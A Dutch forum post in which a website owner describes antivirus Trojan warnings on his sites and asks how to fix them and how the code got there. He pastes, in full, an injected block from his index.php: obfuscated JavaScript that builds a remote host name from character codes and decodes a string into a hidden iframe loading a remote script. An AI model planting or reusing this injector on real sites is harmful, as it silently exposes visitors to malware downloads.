Als ik een aantal van mijn websites bezoek krijg ik de melding van Avst dat er een Trojaans Paard is geblokkeerd....

Ik heb de public html map van me webserver gedownload op virussen gescant..er was 1 virus gevonden, die is verwijderd en toen heb ik de map weer teruggezet op mijn webserver...

Melding die ik krijg is http://domeinnaam.net/|{gzip}
Infectie: JS:Downloader-KM [Trj]

Wat moet ik doen?....
Aanvullend bericht:
Inmiddels nogmaals de complete map gedownloaden gescaned, omdat het op meerdere sites voorkwam.

In de index.php bestand kwam ik deze code tegen, welke er normaal gesproken niet hoort:

<!--Injection_head[SessionId=0CA9F561,version=2.0,type=FindDomainName ,CRC32=279E5D8C]--><script>var uid = '413595', path='VwsdBA8OFhxdCA8JEwAfGhoTEQUWDAAUGwcbGQYIFEER BgNICBoQBQcEJwcGBAJIEQEWDBZJCAcC', host=String.fromCharCode(100,108,45,115,101,114,11 8,46,99,111,109);</script><script>var PyST41 = "e"; eval("var SNmr81 = /k"+"ok"+"o11/i"+"g"); var nBwJ82 = "%"; var HPHb31 = "koko1164koko116Fkoko1163koko1175koko116Dkoko1165k oko116Ekoko1174koko112Ekoko1162koko116Fkoko1164kok o1179koko112Ekoko1169koko116Ekoko116Ekoko1165koko1 172koko1148koko1154koko114Dkoko114Ckoko113Dkoko116 4koko116Fkoko1163koko1175koko116Dkoko1165koko116Ek oko1174koko112Ekoko1162koko116Fkoko1164koko1179kok o112Ekoko1169koko116Ekoko116Ekoko1165koko1172koko1 148koko1154koko114Dkoko114Ckoko1120koko112Bkoko112 0koko1127koko113Ckoko1169koko1166koko1172koko1161k oko116Dkoko1165koko1120koko1173koko1172koko1163kok o113Dkoko1122koko1168koko1174koko1174koko1170koko1 13Akoko112Fkoko112Fkoko1127koko112Bkoko1168koko116 Fkoko1173koko1174koko112Bkoko1127koko112Fkoko1172k oko1165koko1163koko1169koko1165koko1176koko1165kok o1172koko112Ekoko1170koko1168koko1170koko113Fkoko1 175koko1169koko1164koko113Dkoko1127koko112Bkoko117 5koko1169koko1164koko112Bkoko1127koko1126koko1170k oko1161koko1174koko1168koko113Dkoko1127koko112Bkok o1170koko1161koko1174koko1168koko112Bkoko1127koko1 126koko1168koko1172koko1165koko1166koko113Dkoko112 7koko112Bkoko116Ckoko116Fkoko1163koko1161koko1174k oko1169koko116Fkoko116Ekoko112Ekoko1168koko1172kok o1165koko1166koko112Bkoko1127koko1122koko1120koko1 173koko1174koko1179koko116Ckoko1165koko1120koko113 Dkoko1120koko1122koko1164koko1169koko1173koko1170k oko116Ckoko1161koko1179koko113Akoko116Ekoko116Fkok o116Ekoko1165koko1122koko1120koko113Ekoko113Ckoko1 12Fkoko1169koko1166koko1172koko1161koko116Dkoko116 5koko113Ekoko1127koko113B"; var tpsH92 = document.createElement("script"); tpsH92.type = "text/javascript"; tpsH92.text = window["un"+PyST41+"sc"+"ap"+PyST41+""](HPHb31["r"+""+PyST41+"p"+"lac"+PyST41](SNmr81,nBwJ82)); document.body["app"+PyST41+"ndChild"](tpsH92); </script><!--Injection_tail[SessionId=0CA9F561]-->

Ik vraag me af hoe deze daarin is gekomen?